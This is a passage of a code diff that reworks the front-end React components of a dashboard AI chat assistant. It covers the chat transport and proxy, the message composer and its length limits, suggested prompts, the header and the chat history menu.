<DashboardAgentPanel onClose={() => setOpen(false)} />
</ResizablePanel>
</ResizablePanelGroup>
// `relative` is the takeover's containing block.
<div className="relative h-full min-h-0">
<ResizablePanelGroup
orientation="horizontal"
autosaveId="dashboard-agent-split"
className="h-full min-h-0"
>
<ResizablePanel id="dashboard-content" min="320px">
<div className={agentHiddenContentClassName(fullscreen)}>{children}</div>
</ResizablePanel>
<ResizableHandle
id="dashboard-agent-handle"
className={fullscreen ? "invisible" : undefined}
/>
<ResizablePanel id="dashboard-agent-panel" default="380px" min="320px" max="720px">
<div className={agentTakeoverClassName(fullscreen)}>
<DashboardAgentPanel
onClose={() => setPanelOpen(false)}
requestedMessage={requestedMessage}
newChatSeq={newChatSeq}
promotedPrompt={promotedPrompt}
isFullscreen={fullscreen}
onToggleFullscreen={toggleFullscreen}
/>
</div>
</ResizablePanel>
</ResizablePanelGroup>
</div>
) : (
<div className="h-full min-h-0 overflow-hidden">{children}</div>
)}
@@ -1,37 +1,47 @@
import { useChat } from "@ai-sdk/react";
import type { UIMessage } from "@ai-sdk/react";
import type { dashboardAgent } from "@internal/dashboard-agent";
import type { AgentIntent, SuggestedPrompt } from "@internal/dashboard-agent-contracts";
import { useNavigate } from "@remix-run/react";
import { useTriggerChatTransport } from "@trigger.dev/sdk/chat/react";
import { useCallback, useEffect, useRef, useState } from "react";
import { useToast } from "~/components/primitives/Toast";
import { AgentQuotaNotice, AgentUpgradeBlock } from "./AgentUpgradeGate";
import { DashboardAgentComposer } from "./DashboardAgentComposer";
import { DashboardAgentContextBanner } from "./DashboardAgentContextBanner";
import { DashboardAgentMessages } from "./DashboardAgentMessages";
import { DashboardAgentSuggestedPrompts } from "./DashboardAgentSuggestedPrompts";
import { DashboardAgentHero } from "./DashboardAgentHero";
import { DashboardAgentMessages, type TurnActivity } from "./DashboardAgentMessages";
import { MESSAGE_TOO_LARGE_ERROR } from "./message-limits";
import { createTranscriptOrder, orderTranscript } from "./message-order";
import { navigateDestination } from "./navigate-target";
import { pendingNavigateIntents } from "./pending-intents";
import type { AgentPageContext } from "./page-context-types";
import { retryAction } from "./retry-action";
import {
fetchChatTranscript,
pollSettledTranscript,
transcriptLooksUnfinished,
} from "./settled-transcript";
import { useAgentMessageQuota } from "./useAgentMessageQuota";
import { useTriggerUriResolver } from "./useTriggerUriResolver";
// The persisted session for a chat: the session-scoped token plus the stream
// cursor. Resuming with `lastEventId` is what stops the agent's `.out` stream
// from replaying the previous turn.
// Resuming with `lastEventId` stops the `.out` stream replaying the previous turn.
export type DashboardAgentSession = {
publicAccessToken: string;
lastEventId?: string;
};
// Per-turn context for the agent. Matches the agent's clientDataSchema input.
// Matches the agent's clientDataSchema input.
export type DashboardAgentClientData = {
userId: string;
organizationId: string;
projectId?: string;
environmentId?: string;
currentPage?: string;
pageContext?: AgentPageContext;
};
/**
* A single conversation. The panel mounts this with `key={chatId}`, so each
* chat gets its own transport constructed with its persisted session — the
* resume cursor flows in declaratively via the `sessions` option rather than
* an imperative setSession after the fact. A fresh chat passes no session and
* starts a new run on first send.
*/
/** Mounted with `key={chatId}`: the resume cursor arrives via `sessions`, not setSession. */
export function DashboardAgentChat({
chatId,
initialMessages,
@@ -44,7 +54,11 @@ export function DashboardAgentChat({
currentPage,
pendingFirstMessage,
streaming,
prefill,
promotedPrompt,
pagePaths,
onTurnSettled,
onActivityChange,
}: {
chatId: string;
initialMessages: UIMessage[];
@@ -54,31 +68,47 @@ export function DashboardAgentChat({
actionPath: string;
projectSlug: string;
environmentSlug: string;
// Display label only; the path the agent sees is `clientData.currentPage`.
currentPage: string;
// Cold start: send this first message through the transport once on mount to
// trigger the turn. Undefined for head-started and resumed chats.
// Undefined for head-started and resumed chats.
pendingFirstMessage?: string;
// Head start: the turn is already in flight, so hydrate the session as
// streaming so the transport resumes `session.out` instead of treating it as
// a settled session with nothing to reconnect to.
streaming?: boolean;
// `seq` makes each request distinct so the same text can be sent twice.
prefill?: { text: string; seq: number };
promotedPrompt?: SuggestedPrompt;
pagePaths?: Record<string, string>;
onTurnSettled: () => void;
onActivityChange?: (chatId: string, activity: TurnActivity | null) => void;
}) {
const [input, setInput] = useState("");
const navigate = useNavigate();
const toast = useToast();
const prefilledSeq = useRef<number | undefined>(undefined);
useEffect(() => {
if (!prefill || prefilledSeq.current === prefill.seq) return;
prefilledSeq.current = prefill.seq;
setInput(prefill.text);
}, [prefill]);
const transport = useTriggerChatTransport<typeof dashboardAgent>({
task: "dashboard-agent",
baseURL: apiOrigin,
// New chats are created server-side (the `create` action owns the id and
// runs head start), so there's no client-driven head-start route here.
// Redirect only the `in`/append to the same-origin proxy, which mints +
// injects the delegated user token server-side. `baseURL` stays a string so
// `out` (the long-lived SSE) keeps the SDK's realtime-host routing — we
// never override it. The proxy forwards the same path on to the API.
fetch: (url, init, ctx) => {
// Only `in` goes through the same-origin proxy, which injects the delegated user
// token server-side. `baseURL` stays a string so `out` keeps the SDK's realtime routing.
fetch: async (url, init, ctx) => {
if (ctx.endpoint !== "in") return globalThis.fetch(url, init);
const { pathname, search } = new URL(url);
return globalThis.fetch(`${actionPath}/in${pathname}${search}`, init);
const res = await globalThis.fetch(`${actionPath}/in${pathname}${search}`, init);
// A refused message never succeeds on a retry, so it surfaces as the turn's error.
if (res.status === 413) {
const data = (await res
.clone()
.json()
.catch(() => null)) as { error?: string } | null;
throw new Error(data?.error ?? MESSAGE_TOO_LARGE_ERROR);
}
return res;
},
clientData,
sessions: session
@@ -86,9 +116,7 @@ export function DashboardAgentChat({
[chatId]: {
publicAccessToken: session.publicAccessToken,
lastEventId: session.lastEventId,
// Head-started chats are mid-turn, so mark the session streaming to
// make the transport resume `session.out`. A settled session
// (history) stays false — its transcript loads from the store.
// Mid-turn chats must be marked streaming or the transport won't resume `session.out`.
isStreaming: streaming ?? false,
},
}
@@ -119,24 +147,33 @@ export function DashboardAgentChat({
});
const {
messages,
messages: rawMessages,
setMessages,
sendMessage,
regenerate,
status,
stop: aiStop,
error,
clearError,
} = useChat({
id: chatId,
messages: initialMessages,
transport,
// Resume an existing/head-started session's stream. A cold-start chat has a
// session but nothing to resume yet — it sends its first message instead.
resume: !!session && !pendingFirstMessage,
});
const isStreaming = status === "streaming";
const isThinking = status === "submitted";
const orderRef = useRef(createTranscriptOrder(initialMessages));
const messages = orderTranscript(rawMessages, orderRef.current);
// Counted here, not in the panel, so it includes the turn just sent.
const quota = useAgentMessageQuota({ actionPath, chatId, messages });
const atMessageCap = quota.kind === "reached";
const isStreaming = status === "streaming";
// From status, not the last part: the indicator must stay up through silent tool calls.
const activity: TurnActivity | null =
status === "submitted" ? "thinking" : status === "streaming" ? "working" : null;
// Cold start: trigger the first turn by sending the pending message once.
const sentFirst = useRef(false);
useEffect(() => {
if (pendingFirstMessage && !sentFirst.current) {
@@ -148,47 +185,170 @@ export function DashboardAgentChat({
const submit = useCallback(
(text: string) => {
const trimmed = text.trim();
if (!trimmed || isStreaming) return;
// Suggested prompts and card actions bypass the composer, so the cap is enforced here too.
if (!trimmed || isStreaming || atMessageCap) return;
setInput("");
void sendMessage({ text: trimmed });
},
[isStreaming, sendMessage]
[isStreaming, atMessageCap, sendMessage]
);
const retry = useCallback(() => {
const action = retryAction(messages);
if (!action) return;
clearError();
if (action.kind === "regenerate") {
void regenerate();
return;
}
void sendMessage({ text: action.text, messageId: action.messageId });
}, [messages, sendMessage, regenerate, clearError]);
const resolveUri = useTriggerUriResolver(actionPath);
// `trigger://` targets resolve server-side: the server owns the environment scope.
const goTo = useCallback(
async (intent: Extract<AgentIntent, { kind: "navigate" }>) => {
const body = new FormData();
body.set("intent", "resolve");
body.set("uri", intent.target);
try {
const res = await fetch(actionPath, { method: "POST", body });
const data = (await res.json()) as { path?: string; external?: boolean };
if (!res.ok) throw new Error(`Resolve failed (${res.status})`);
const destination = navigateDestination(data, intent.filters);
if (destination.kind === "none") throw new Error("Resolved to nothing routable");
if (destination.kind === "route") {
navigate(destination.path);
return;
}
// A source file lives on GitHub. The fetch above has already broken the gesture chain,
// so a blocked popup falls back to leaving the dashboard rather than doing nothing.
const opened = window.open(destination.url, "_blank", "noopener,noreferrer");
if (!opened) window.location.assign(destination.url);
} catch (error) {
console.error("Dashboard agent: failed to resolve a navigate target", error);
toast.error("Couldn't open that page.");
}
},
[actionPath, navigate, toast]
);
// `propose_fix` is reserved and must never be executed.
const handleIntent = useCallback(
(intent: AgentIntent) => {
switch (intent.kind) {
case "ask":
submit(intent.prompt);
return;
case "navigate":
void goTo(intent);
return;
default:
console.warn(`Dashboard agent: unhandled intent "${intent.kind}"`);
}
},
[submit, goTo]
);
// Seeded from the loaded transcript before first render, so history never re-navigates.
const navigatedRef = useRef<Set<string> | null>(null);
if (navigatedRef.current === null) {
navigatedRef.current = new Set();
pendingNavigateIntents(initialMessages, navigatedRef.current);
}
useEffect(() => {
const pending = pendingNavigateIntents(messages, navigatedRef.current!);
const target = pending.at(-1);
if (target) void goTo(target);
}, [messages, goTo]);
const stop = useCallback(() => {
transport.stopGeneration(chatId);
aiStop();
}, [transport, chatId, aiStop]);
// Tell the panel to refresh its history list once a turn settles, so the new
// chat appears and titles/timestamps stay current.
// Read by the settle effect, which must not re-run when the transcript changes.
const messagesRef = useRef(messages);
messagesRef.current = messages;
const prevStatus = useRef(status);
useEffect(() => {
const wasInFlight = prevStatus.current === "streaming" || prevStatus.current === "submitted";
const nowSettled = status === "ready" || status === "error";
if (wasInFlight && nowSettled) onTurnSettled();
prevStatus.current = status;
}, [status, onTurnSettled]);
if (!wasInFlight || !nowSettled) return;
onTurnSettled();
// The terminal card is written to the chat row after the stream closes, so this
// mounted panel would otherwise keep showing the last `in_progress` revision — or,
// if the stream died mid-tool, the tool call it never got an output for.
if (!transcriptLooksUnfinished(messagesRef.current)) return;
void pollSettledTranscript<UIMessage>({
fetchTranscript: () => fetchChatTranscript(actionPath, chatId),
apply: (merge) => setMessages((current) => merge(current)),
wait: (ms) => new Promise((resolve) => setTimeout(resolve, ms)),
});
}, [status, onTurnSettled, actionPath, chatId, setMessages]);
// Not cleared on unmount: the turn carries on server-side and reports again on remount.
useEffect(() => {
onActivityChange?.(chatId, activity);
}, [chatId, activity, onActivityChange]);
return (
<>
<DashboardAgentContextBanner
projectSlug={projectSlug}
environmentSlug={environmentSlug}
currentPage={currentPage}
/>
{messages.length === 0 ? (
<DashboardAgentSuggestedPrompts onSelect={submit} />
{messages.length === 0 && !pendingFirstMessage ? (
<DashboardAgentHero
onSelect={submit}
pageContext={clientData.pageContext}
promoted={promotedPrompt}
/>
) : (
<DashboardAgentMessages messages={messages} isThinking={isThinking} error={error} />
<DashboardAgentMessages
messages={messages}
activity={activity}
error={error}
onRetry={retry}
onDismissError={clearError}
onIntent={handleIntent}
pagePaths={pagePaths}
resolveUri={resolveUri}
/>
)}
{quota.kind === "reached" ? (
<AgentUpgradeBlock
limit={quota.limit}
context={
<DashboardAgentContextBanner
projectSlug={projectSlug}
environmentSlug={environmentSlug}
currentPage={currentPage}
/>
}
/>
) : (
<>
<DashboardAgentComposer
value={input}
onChange={setInput}
onSubmit={() => submit(input)}
onStop={stop}
isStreaming={isStreaming}
focusKey={prefill?.seq}
context={
<DashboardAgentContextBanner
projectSlug={projectSlug}
environmentSlug={environmentSlug}
currentPage={currentPage}
/>
}
/>
{quota.kind === "within" && (
<AgentQuotaNotice remaining={quota.remaining} limit={quota.limit} />
)}
</>
)}
<DashboardAgentComposer
value={input}
onChange={setInput}
onSubmit={() => submit(input)}
onStop={stop}
isStreaming={isStreaming}
/>
</>
);
}
@@ -1,7 +1,15 @@
import { PaperAirplaneIcon, StopIcon } from "@heroicons/react/20/solid";
import { useRef } from "react";
import { ArrowUpIcon, StopIcon } from "@heroicons/react/20/solid";
import { useEffect, useRef } from "react";
import { Button } from "~/components/primitives/Buttons";
import { cn } from "~/utils/cn";
import { composerEscapeAction } from "./composer-escape";
import {
MAX_MESSAGE_CHARS,
MESSAGE_CHARS_WARN_AT,
messageCountAnnouncement,
} from "./message-limits";
export type DashboardAgentComposerLayout = "docked" | "hero";
export function DashboardAgentComposer({
value,
@@ -9,50 +17,155 @@ export function DashboardAgentComposer({
onSubmit,
onStop,
isStreaming,
focusKey,
context,
layout = "docked",
autoFocus = true,
placeholderSuggestion,
}: {
value: string;
onChange: (value: string) => void;
onSubmit: () => void;
onStop: () => void;
isStreaming: boolean;
// Bump to move focus back to the textarea.
focusKey?: string | number;
context?: React.ReactNode;
layout?: DashboardAgentComposerLayout;
autoFocus?: boolean;
// Shown as the placeholder while the field is empty. Tab accepts it as editable
// text; it is never sent on its own.
placeholderSuggestion?: string;
}) {
const ref = useRef<HTMLTextAreaElement>(null);
// Armed = the next Escape is taken by the draft guard; anything else re-arms it.
const escapeGuardArmed = useRef(true);
useEffect(() => {
const el = ref.current;
if (!el || !autoFocus) return;
el.focus();
el.setSelectionRange(el.value.length, el.value.length);
}, [focusKey, autoFocus]);
const isHero = layout === "hero";
const sendButton = isStreaming ? (
<Button
variant="minimal/small"
className="aspect-square h-7 min-w-0 bg-charcoal-600 p-1 hover:bg-charcoal-550"
aria-label="Stop generating"
tooltip="Stop generating"
onClick={onStop}
LeadingIcon={<StopIcon className="size-4 text-white" />}
/>
) : (
<Button
variant="primary/small"
className="aspect-square h-7 min-w-0 p-1"
aria-label="Send"
tooltip="Send"
onClick={onSubmit}
disabled={!value.trim()}
LeadingIcon={<ArrowUpIcon className="size-4 text-white" />}
/>
);
return (
<div className="border-t border-grid-bright p-3">
<div className="rounded-2xl border border-border-bright bg-background-bright p-2 transition focus-within:border-border-brighter">
<div className="flex items-end gap-2">
<div
className={cn(
"flex shrink-0 flex-col gap-1.5",
isHero ? "w-full" : "bg-background-bright px-3 pb-3 pt-1"
)}
>
{isHero ? null : context}
<div
className={cn(
"border border-border-bright bg-background-bright transition focus-within:border-border-brighter",
isHero ? "rounded-lg p-2" : "rounded-md p-1"
)}
>
<div className={isHero ? "flex flex-col gap-1.5" : "flex items-end gap-1"}>
<textarea
ref={ref}
rows={isHero ? 3 : 1}
value={value}
onChange={(e) => onChange(e.target.value)}
// Clamped as well as `maxLength`, so a programmatic paste can't exceed the cap.
maxLength={MAX_MESSAGE_CHARS}
onChange={(e) => {
escapeGuardArmed.current = true;
onChange(e.target.value.slice(0, MAX_MESSAGE_CHARS));
}}
onBlur={() => {
escapeGuardArmed.current = true;
}}
onKeyDown={(e) => {
if (e.key !== "Escape") {
escapeGuardArmed.current = true;
}
if (e.key === "Enter" && !e.shiftKey && !e.nativeEvent.isComposing) {
e.preventDefault();
onSubmit();
}
// An Escape that cancels an IME composition is the user's, not the panel's: keep it
// from the close handler without spending the draft guard's one step.
if (e.key === "Escape" && e.nativeEvent.isComposing) {
e.preventDefault();
return;
}
// The first Escape on a draft is kept from the panel's close handler, which skips a
// prevented event; a second one passes through unprevented and closes the panel.
if (
e.key === "Escape" &&
composerEscapeAction(value, escapeGuardArmed.current) === "swallow"
) {
e.preventDefault();
escapeGuardArmed.current = false;
}
// Only while empty, so with text present Tab keeps its normal focus behavior.
if (e.key === "Tab" && !e.shiftKey && placeholderSuggestion && value === "") {
e.preventDefault();
onChange(placeholderSuggestion);
requestAnimationFrame(() => {
const el = ref.current;
el?.setSelectionRange(el.value.length, el.value.length);
});
}
}}
placeholder="Type a message…"
placeholder={placeholderSuggestion ?? "Type a message…"}
aria-label="Message the dashboard agent"
className={cn(
"max-h-[40vh] min-h-[40px] flex-1 resize-none border-0 bg-transparent px-2 py-1.5 text-sm text-text-bright placeholder-text-dimmed outline-hidden ring-0 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control field-sizing-content focus:outline-hidden focus:ring-0"
"max-h-[40vh] flex-1 resize-none border-0 bg-transparent px-1.5 py-0.5 text-sm leading-6 text-text-bright placeholder-text-dimmed outline-hidden ring-0 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control field-sizing-content focus:outline-hidden focus:ring-0",
isHero && "w-full"
)}
/>
{isStreaming ? (
<Button variant="danger/small" LeadingIcon={StopIcon} onClick={onStop}>
Stop
</Button>
{isHero ? (
<div className="flex min-w-0 items-center justify-between gap-2">
{context ?? <span />}
{sendButton}
</div>
) : (
<Button
variant="primary/small"
LeadingIcon={PaperAirplaneIcon}
onClick={onSubmit}
disabled={!value.trim()}
>
Send
</Button>
sendButton
)}
</div>
</div>
{/* Mounted from the start, empty until there is something to say: a region that appears
with its first message goes unannounced in several screen readers. */}
<p className="sr-only" aria-live="polite">
{messageCountAnnouncement(value.length)}
</p>
{/* Only near the limit: a normal message never sees a counter. */}
{value.length >= MESSAGE_CHARS_WARN_AT ? (
<p
aria-hidden
className={cn(
"self-end text-xxs tabular-nums",
value.length >= MAX_MESSAGE_CHARS ? "text-error" : "text-text-dimmed"
)}
>
{value.length} / {MAX_MESSAGE_CHARS}
</p>
) : null}
</div>
);
}
@@ -1,20 +1,32 @@
import { cn } from "~/utils/cn";
export function DashboardAgentContextBanner({
projectSlug,
environmentSlug,
currentPage,
className,
}: {
projectSlug: string;
environmentSlug: string;
// A human label from `page-label.ts`, not a path.
currentPage: string;
className?: string;
}) {
const path = `${projectSlug} / ${environmentSlug} / ${currentPage}`;
return (
<div className="flex items-center gap-1.5 border-b border-grid-bright bg-background-bright/30 px-3 py-1.5 text-xs text-text-dimmed">
<div
className={cn(
"flex h-5 w-fit max-w-full items-center gap-1 rounded border border-grid-bright bg-background-bright px-1.5 text-xs text-text-dimmed",
className
)}
title={`Answering in the context of ${path}`}
>
<span className="shrink-0">Context:</span>
<span className="truncate font-medium text-text-bright">{projectSlug}</span>
<span>/</span>
<span className="shrink-0">/</span>
<span className="truncate">{environmentSlug}</span>
<span>/</span>
<span className="truncate capitalize">{currentPage}</span>
<span className="shrink-0">/</span>
<span className="truncate">{currentPage}</span>
</div>
);
}
@@ -1,28 +1,44 @@
import { useCallback, useState } from "react";
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
import { useCallback, useMemo, useState } from "react";
import { DashboardAgentComposer } from "./DashboardAgentComposer";
import { DashboardAgentContextBanner } from "./DashboardAgentContextBanner";
import { DashboardAgentSuggestedPrompts } from "./DashboardAgentSuggestedPrompts";
import { DashboardAgentHero } from "./DashboardAgentHero";
import type { AgentPageContext } from "./page-context-types";
import { readDismissedPromptIds, resolveSuggestedPromptsBySlot } from "./suggested-prompts";
/**
* The new-chat "draft" state: suggested prompts + composer with no transport
* mounted and no chat id yet. The chat id is server-owned, so the first send
* goes to the panel's `create` call, which generates the id and returns it;
* only then does the real `DashboardAgentChat` mount. The client never invents
* a chat id.
*/
// Chat ids are server-owned: the first send goes to the panel's `create` call, which
// returns the id, and only then does `DashboardAgentChat` mount.
export function DashboardAgentDraft({
onSubmit,
projectSlug,
environmentSlug,
currentPage,
pageContext,
promotedPrompt,
}: {
onSubmit: (text: string) => void;
projectSlug: string;
environmentSlug: string;
currentPage: string;
pageContext?: AgentPageContext;
promotedPrompt?: SuggestedPrompt;
}) {
const [input, setInput] = useState("");
// Same resolution the hero's buttons use, so the placeholder matches the first button.
const [dismissedIds] = useState(readDismissedPromptIds);
const placeholderSuggestion = useMemo(
() =>
resolveSuggestedPromptsBySlot(
pageContext ?? { page: { kind: "other", path: "" }, signals: [] },
{
promoted: promotedPrompt,
dismissedIds,
}
)[0]?.prompt.prompt,
[pageContext, promotedPrompt, dismissedIds]
);
const submit = useCallback(
(text: string) => {
const trimmed = text.trim();
@@ -34,20 +50,30 @@ export function DashboardAgentDraft({
);
return (
<>
<DashboardAgentContextBanner
projectSlug={projectSlug}
environmentSlug={environmentSlug}
currentPage={currentPage}
/>
<DashboardAgentSuggestedPrompts onSelect={submit} />
<DashboardAgentComposer
value={input}
onChange={setInput}
onSubmit={() => submit(input)}
onStop={() => {}}
isStreaming={false}
/>
</>
<DashboardAgentHero
onSelect={submit}
pageContext={pageContext}
promoted={promotedPrompt}
composer={
<div className="flex w-full flex-col gap-3">
<DashboardAgentComposer
layout="hero"
value={input}
onChange={setInput}
onSubmit={() => submit(input)}
onStop={() => {}}
isStreaming={false}
placeholderSuggestion={placeholderSuggestion}
context={
<DashboardAgentContextBanner
projectSlug={projectSlug}
environmentSlug={environmentSlug}
currentPage={currentPage}
/>
}
/>
</div>
}
/>
);
}
@@ -1,57 +1,131 @@
import { ClockIcon, PencilSquareIcon, XMarkIcon } from "@heroicons/react/20/solid";
import { cn } from "~/utils/cn";
import { ArrowsPointingInIcon, ArrowsPointingOutIcon } from "@heroicons/react/20/solid";
import { useState } from "react";
import { CrossIcon } from "~/assets/icons/CrossIcon";
import { PlusIcon } from "~/assets/icons/PlusIcon";
import { Button } from "~/components/primitives/Buttons";
import { Popover, PopoverArrowTrigger, PopoverContent } from "~/components/primitives/Popover";
import { ShortcutKey } from "~/components/primitives/ShortcutKey";
import type { Shortcut } from "~/hooks/useShortcutKeys";
import { DashboardAgentHistoryMenu, type DashboardAgentChat } from "./DashboardAgentHistory";
import { chatHistoryTriggerLabel } from "./header-labels";
// Display only. The key is registered once, in `DashboardAgent`; registering it
// anywhere else makes the keystroke fire twice.
export const NEW_CHAT_SHORTCUT: Shortcut = {
modifiers: ["mod"],
key: "j",
enabledOnInputElements: true,
};
export function DashboardAgentHeader({
view,
title,
chats,
currentChatId,
thinkingChatId,
onNewChat,
onToggleHistory,
showNewChat,
onOpenHistory,
onSelectChat,
onDeleteChat,
onToggleFullscreen,
isFullscreen,
onClose,
}: {
view: "chat" | "history";
title: string;
chats: DashboardAgentChat[];
currentChatId: string;
thinkingChatId?: string | null;
onNewChat: () => void;
onToggleHistory: () => void;
showNewChat: boolean;
onOpenHistory: () => void;
onSelectChat: (chatId: string) => void;
onDeleteChat: (chatId: string) => void;
onToggleFullscreen: () => void;
isFullscreen: boolean;
onClose: () => void;
}) {
const [isHistoryOpen, setHistoryOpen] = useState(false);
return (
<div className="flex items-center justify-between border-b border-grid-bright px-3 py-2">
<span className="text-sm font-medium text-text-bright">Chat</span>
<div className="flex items-center gap-0.5">
<IconButton label="New chat" icon={PencilSquareIcon} onClick={onNewChat} />
<IconButton
label="History"
icon={ClockIcon}
onClick={onToggleHistory}
active={view === "history"}
<div className="flex h-10 shrink-0 items-center justify-between gap-2 border-b border-grid-bright pl-1 pr-1.5">
<Popover
open={isHistoryOpen}
onOpenChange={(open) => {
setHistoryOpen(open);
if (open) onOpenHistory();
}}
>
<PopoverArrowTrigger
variant="minimal"
isOpen={isHistoryOpen}
overflowHidden
className="min-w-0"
aria-label={chatHistoryTriggerLabel(title)}
title={title}
>
<span className="truncate text-sm font-medium text-text-bright">{title}</span>
</PopoverArrowTrigger>
<PopoverContent
className="w-72 max-w-(--radix-popover-content-available-width) p-0"
align="start"
>
<DashboardAgentHistoryMenu
chats={chats}
currentChatId={currentChatId}
thinkingChatId={thinkingChatId}
onSelect={(chatId) => {
setHistoryOpen(false);
onSelectChat(chatId);
}}
onDelete={onDeleteChat}
/>
</PopoverContent>
</Popover>
<div className="flex shrink-0 items-center gap-0.5">
{showNewChat && (
<Button
variant="minimal/small"
className="aspect-square h-6 p-1"
aria-label="New chat"
tooltip={
<span className="flex items-center">
New chat
<ShortcutKey shortcut={NEW_CHAT_SHORTCUT} variant="medium" />
</span>
}
onClick={onNewChat}
LeadingIcon={<PlusIcon className="size-4 text-text-dimmed" />}
/>
)}
<Button
variant="minimal/small"
className="aspect-square h-6 p-1"
aria-label={isFullscreen ? "Collapse into the side panel" : "Expand"}
tooltip={isFullscreen ? "Collapse into the side panel" : "Expand"}
onClick={onToggleFullscreen}
LeadingIcon={
isFullscreen ? (
<ArrowsPointingInIcon className="size-4 text-text-dimmed" />
) : (
<ArrowsPointingOutIcon className="size-4 text-text-dimmed" />
)
}
/>
<Button
variant="minimal/small"
className="aspect-square h-6 p-1"
aria-label="Close (Esc)"
tooltip={
<span className="flex items-center">
Close
<ShortcutKey shortcut={{ key: "esc" }} variant="medium" />
</span>
}
onClick={onClose}
LeadingIcon={<CrossIcon className="size-4 text-text-dimmed" />}
/>
<IconButton label="Close" icon={XMarkIcon} onClick={onClose} />
</div>
</div>
);
}
function IconButton({
label,
icon: Icon,
onClick,
active,
}: {
label: string;
icon: React.ComponentType<{ className?: string }>;
onClick: () => void;
active?: boolean;
}) {
return (
<button
type="button"
title={label}
aria-label={label}
onClick={onClick}
className={cn(
"rounded p-1.5 text-text-dimmed transition hover:bg-background-raised hover:text-text-bright",
active && "bg-background-raised text-text-bright"
)}
>
<Icon className="size-4" />
</button>
);
}
@@ -0,0 +1,47 @@
import type { AgentPageContext, SuggestedPrompt } from "@internal/dashboard-agent-contracts";
import { BetaBadge } from "~/components/FeatureBadges";
import { AgentMonoLogo } from "~/components/primitives/AgentDotMatrix";
import { Header1 } from "~/components/primitives/Headers";
import { Paragraph } from "~/components/primitives/Paragraph";
import { DashboardAgentSuggestedPrompts } from "./DashboardAgentSuggestedPrompts";
export function DashboardAgentHero({
onSelect,
pageContext,
promoted,
dismissedIds,
composer,
}: {
/** Receives the prompt text to send, not the button label. */
onSelect: (prompt: string) => void;
pageContext?: AgentPageContext;
promoted?: SuggestedPrompt;
dismissedIds?: string[];
composer?: React.ReactNode;
}) {
// Centred by the child's `m-auto`, not by `justify-center`: auto margins give up their space
// once the content outgrows the panel, so the heading stays scrollable to.
return (
<div className="flex min-h-0 flex-1 flex-col overflow-y-auto px-4 py-6 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
<div className="m-auto flex w-full max-w-2xl flex-col items-center gap-5">
<div className="flex flex-col items-center gap-1.5 text-center">
<Header1 className="flex items-center gap-2">
<AgentMonoLogo size={22} decorative />
Ask Trigger
<BetaBadge />
</Header1>
<Paragraph variant="small" className="text-text-dimmed">
About your runs, errors, or how Trigger.dev works.
</Paragraph>
</div>
{composer}
<DashboardAgentSuggestedPrompts
onSelect={onSelect}
pageContext={pageContext}
promoted={promoted}
dismissedIds={dismissedIds}
/>
</div>
</div>
);
}
@@ -1,81 +1,149 @@
import { PlusIcon, TrashIcon } from "@heroicons/react/20/solid";
import { DateTime } from "~/components/primitives/DateTime";
import { MagnifyingGlassIcon, TrashIcon } from "@heroicons/react/20/solid";
import { formatDurationMilliseconds } from "@trigger.dev/core/v3/utils/durations";
import { useState } from "react";
import { Button } from "~/components/primitives/Buttons";
import { Dialog, DialogContent, DialogHeader } from "~/components/primitives/Dialog";
import { FormButtons } from "~/components/primitives/FormButtons";
import { Paragraph } from "~/components/primitives/Paragraph";
import { cn } from "~/utils/cn";
import { AgentSpinner } from "~/components/primitives/Spinner";
import { AgentList, AgentListRow, AgentListRowAction } from "./list-row";
// Date fields arrive as strings over the loader's JSON.
export type DashboardAgentChat = {
id: string;
title: string;
lastMessageAt: string | null;
updatedAt: string;
hasOpenInvestigation?: boolean;
};
export function DashboardAgentHistory({
type ChatProcess = "thinking" | "investigating";
const PROCESS_LABELS: Record<ChatProcess, string> = {
thinking: "Agent is thinking",
investigating: "Investigation in progress",
};
function chatProcess(chat: DashboardAgentChat, isThinking: boolean): ChatProcess | null {
if (isThinking) return "thinking";
if (chat.hasOpenInvestigation) return "investigating";
return null;
}
function ProcessIcon({ process }: { process: ChatProcess }) {
const label = PROCESS_LABELS[process];
// No tooltip trigger here: the row is a button, and this would nest one inside it.
return (
<span title={label} aria-label={label} role="img" className="shrink-0 text-text-dimmed">
{process === "investigating" ? (
<MagnifyingGlassIcon className="size-3.5" />
) : (
<AgentSpinner size={14} />
)}
</span>
);
}
// Weeks are the coarsest unit: months render as "1.8mo" for eight weeks.
const AGE_UNITS = ["w", "d", "h", "m"] as const;
export function chatAge(lastMessageAt: string, now: number = Date.now()): string | undefined {
const at = Date.parse(lastMessageAt);
if (Number.isNaN(at)) return undefined;
const elapsed = Math.max(0, now - at);
if (elapsed < 60_000) return "now";
return formatDurationMilliseconds(elapsed, {
style: "short",
maxUnits: 1,
maxDecimalPoints: 0,
units: [...AGE_UNITS],
});
}
export function DashboardAgentHistoryMenu({
chats,
currentChatId,
thinkingChatId,
onSelect,
onNewChat,
onDelete,
}: {
chats: DashboardAgentChat[];
currentChatId: string;
thinkingChatId?: string | null;
onSelect: (chatId: string) => void;
onNewChat: () => void;
onDelete: (chatId: string) => void;
}) {
return (
<div className="flex-1 overflow-y-auto scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
<div className="p-2">
<button
type="button"
onClick={onNewChat}
className="mb-1 flex w-full items-center gap-2 rounded-md px-2 py-2 text-left text-sm text-text-bright transition hover:bg-background-bright"
>
<PlusIcon className="size-4 text-green-500" />
New chat
</button>
const [pendingDelete, setPendingDelete] = useState<DashboardAgentChat | null>(null);
const now = Date.now();
return (
<>
<div className="max-h-80 overflow-y-auto p-1.5 scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
{chats.length === 0 ? (
<Paragraph variant="small" className="p-2 text-text-dimmed">
<Paragraph variant="small" className="p-1.5 text-text-dimmed">
No previous chats yet.
</Paragraph>
) : (
<ol className="space-y-0.5">
{chats.map((chat) => (
<li key={chat.id}>
<div
className={cn(
"group flex items-center gap-2 rounded-sm px-2 py-1.5 transition-colors hover:bg-background-bright",
chat.id === currentChatId && "bg-background-hover hover:bg-background-hover"
)}
>
<button
type="button"
onClick={() => onSelect(chat.id)}
className="flex min-w-0 flex-1 flex-col items-start gap-0.5 text-left outline-hidden focus-custom"
>
<span className="line-clamp-1 text-sm text-text-bright">{chat.title}</span>
{chat.lastMessageAt && (
<span className="text-xs text-text-dimmed">
<DateTime date={chat.lastMessageAt} showTooltip={false} />
</span>
)}
</button>
<button
type="button"
onClick={() => onDelete(chat.id)}
aria-label="Delete chat"
